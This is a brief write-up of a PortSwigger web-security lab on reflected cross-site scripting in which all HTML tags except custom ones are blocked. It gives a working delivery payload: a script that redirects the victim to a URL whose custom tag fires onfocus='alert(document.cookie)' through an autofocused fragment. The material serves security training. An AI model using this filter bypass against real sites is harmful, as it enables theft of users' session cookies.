LAB 15 - Reflected XSS into HTML context with all tags blocked except custom ones¶
Initial instructions¶
This lab blocks all HTML tags except custom ones.¶
To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.¶
To complete this lab I used the following XSS payload.
So I entered this payload into the search parameter in the URL.

And it got triggered.

Now lets go to our exploit server and lets send the XSS to our victim.

So I built the following payload to deliver to the victim using location.
<script> location = 'https://0a7900a1032ff63a80f1539700cc0036.web-security-academy.net/?search=%3Ccustom-tag+onfocus%3D%27alert(document.cookie)%27+id%3D%27x%27+tabindex%3D%221%22%3E#x' </script>

And deliver exploit to the victim.